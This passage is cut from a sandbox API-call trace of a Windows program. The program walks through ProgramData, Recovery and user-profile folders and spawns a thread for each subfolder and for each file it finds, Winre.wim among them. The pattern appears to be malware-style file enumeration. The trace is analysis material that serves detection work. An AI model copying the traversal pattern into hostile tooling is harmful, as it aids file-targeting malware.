_Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.894] wcscat (in: _Dest=0x1b7841c0, _Source="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0085.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7841c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0085.895] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0085.895] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2=".") returned 1 [0085.895] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2="..") returned 1 [0085.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b784250 [0085.895] wcscpy (in: _Dest=0x1b784250, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.895] wcscat (in: _Dest=0x1b784250, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.895] wcscat (in: _Dest=0x1b784250, _Source="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0085.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b784250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0085.896] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0085.896] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2=".") returned 1 [0085.896] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2="..") returned 1 [0085.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b7842e0 [0085.896] wcscpy (in: _Dest=0x1b7842e0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.896] wcscat (in: _Dest=0x1b7842e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.896] wcscat (in: _Dest=0x1b7842e0, _Source="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0085.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7842e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0085.896] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0085.896] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2=".") returned 1 [0085.897] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2="..") returned 1 [0085.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5910 [0085.897] wcscpy (in: _Dest=0x1b7a5910, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0085.897] wcscat (in: _Dest=0x1b7a5910, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\" [0085.897] wcscat (in: _Dest=0x1b7a5910, _Source="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0085.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a5910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0085.897] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0085.898] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bef0) returned 1 [0085.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 Thread: id = 129 os_tid = 0xa28 [0085.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8040 [0085.900] wcscpy (in: _Dest=0x1b7d8040, _Source="C:\\ProgramData\\Start Menu" | out: _Dest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0085.900] wcscat (in: _Dest=0x1b7d8040, _Source="\\" | out: _Dest="C:\\ProgramData\\Start Menu\\") returned="C:\\ProgramData\\Start Menu\\" [0085.900] wcscat (in: _Dest=0x1b7d8040, _Source="*" | out: _Dest="C:\\ProgramData\\Start Menu\\*") returned="C:\\ProgramData\\Start Menu\\*" [0085.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.901] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Start Menu\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0085.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8040) returned 1 [0085.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8080) returned 1 Thread: id = 130 os_tid = 0x618 [0085.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d8080 [0085.902] wcscpy (in: _Dest=0x1b7d8080, _Source="C:\\ProgramData\\Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0085.903] wcscat (in: _Dest=0x1b7d8080, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\") returned="C:\\ProgramData\\Sun\\" [0085.903] wcscat (in: _Dest=0x1b7d8080, _Source="*" | out: _Dest="C:\\ProgramData\\Sun\\*") returned="C:\\ProgramData\\Sun\\*" [0085.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.903] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.904] wcscmp (_String1=".", _String2=".") returned 0 [0085.904] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.904] wcscmp (_String1="..", _String2=".") returned 1 [0085.904] wcscmp (_String1="..", _String2="..") returned 0 [0085.904] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0085.904] wcscmp (_String1="Java", _String2=".") returned 1 [0085.904] wcscmp (_String1="Java", _String2="..") returned 1 [0085.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1b7d8040 [0085.904] wcscpy (in: _Dest=0x1b7d8040, _Source="C:\\ProgramData\\Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0085.904] wcscat (in: _Dest=0x1b7d8040, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\") returned="C:\\ProgramData\\Sun\\" [0085.904] wcscat (in: _Dest=0x1b7d8040, _Source="Java" | out: _Dest="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0085.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0085.905] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0085.905] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8080) returned 1 [0085.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aa20) returned 1 Thread: id = 131 os_tid = 0x488 [0085.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8080 [0085.907] wcscpy (in: _Dest=0x1b7d8080, _Source="C:\\ProgramData\\Templates" | out: _Dest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0085.907] wcscat (in: _Dest=0x1b7d8080, _Source="\\" | out: _Dest="C:\\ProgramData\\Templates\\") returned="C:\\ProgramData\\Templates\\" [0085.907] wcscat (in: _Dest=0x1b7d8080, _Source="*" | out: _Dest="C:\\ProgramData\\Templates\\*") returned="C:\\ProgramData\\Templates\\*" [0085.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.907] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0085.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8080) returned 1 [0085.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d80c0) returned 1 Thread: id = 132 os_tid = 0xb14 [0085.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c21a0 [0085.909] wcscpy (in: _Dest=0x1b7c21a0, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0085.909] wcscat (in: _Dest=0x1b7c21a0, _Source="\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0085.909] wcscat (in: _Dest=0x1b7c21a0, _Source="*" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*" [0085.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.909] FindFirstFileW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.909] wcscmp (_String1=".", _String2=".") returned 0 [0085.909] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.909] wcscmp (_String1="..", _String2=".") returned 1 [0085.909] wcscmp (_String1="..", _String2="..") returned 0 [0085.909] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0085.909] wcscmp (_String1="boot.sdi", _String2=".") returned 1 [0085.909] wcscmp (_String1="boot.sdi", _String2="..") returned 1 [0085.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e4f0 [0085.909] wcscpy (in: _Dest=0x1b79e4f0, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0085.909] wcscat (in: _Dest=0x1b79e4f0, _Source="\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0085.910] wcscat (in: _Dest=0x1b79e4f0, _Source="boot.sdi" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" [0085.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0085.910] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0085.910] wcscmp (_String1="Winre.wim", _String2=".") returned 1 [0085.910] wcscmp (_String1="Winre.wim", _String2="..") returned 1 [0085.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79e570 [0085.910] wcscpy (in: _Dest=0x1b79e570, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0085.910] wcscat (in: _Dest=0x1b79e570, _Source="\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0085.910] wcscat (in: _Dest=0x1b79e570, _Source="Winre.wim" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" [0085.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0085.911] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0 [0085.911] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c21a0) returned 1 [0085.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1c60) returned 1 Thread: id = 133 os_tid = 0xb40 [0085.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf40 [0085.913] wcscpy (in: _Dest=0x1b82bf40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.913] wcscat (in: _Dest=0x1b82bf40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.913] wcscat (in: _Dest=0x1b82bf40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*" [0085.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.913] wcscmp (_String1=".", _String2=".") returned 0 [0085.913] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.913] wcscmp (_String1="..", _String2=".") returned 1 [0085.913] wcscmp (_String1="..", _String2="..") returned 0 [0085.913] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0085.913] wcscmp (_String1="AppData", _String2=".") returned 1 [0085.913] wcscmp (_String1="AppData", _String2="..") returned 1 [0085.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b8587f0 [0085.913] wcscpy (in: _Dest=0x1b8587f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.913] wcscat (in: _Dest=0x1b8587f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.913] wcscat (in: _Dest=0x1b8587f0, _Source="AppData" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" [0085.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8587f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0085.914] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0085.914] wcscmp (_String1="Application Data", _String2=".") returned 1 [0085.914] wcscmp (_String1="Application Data", _String2="..") returned 1 [0085.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1c60 [0085.914] wcscpy (in: _Dest=0x1b7c1c60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.914] wcscat (in: _Dest=0x1b7c1c60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.914] wcscat (in: _Dest=0x1b7c1c60, _Source="Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0085.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1c60, dwCreationFlags=0x0, lpThreadId=0x0 | 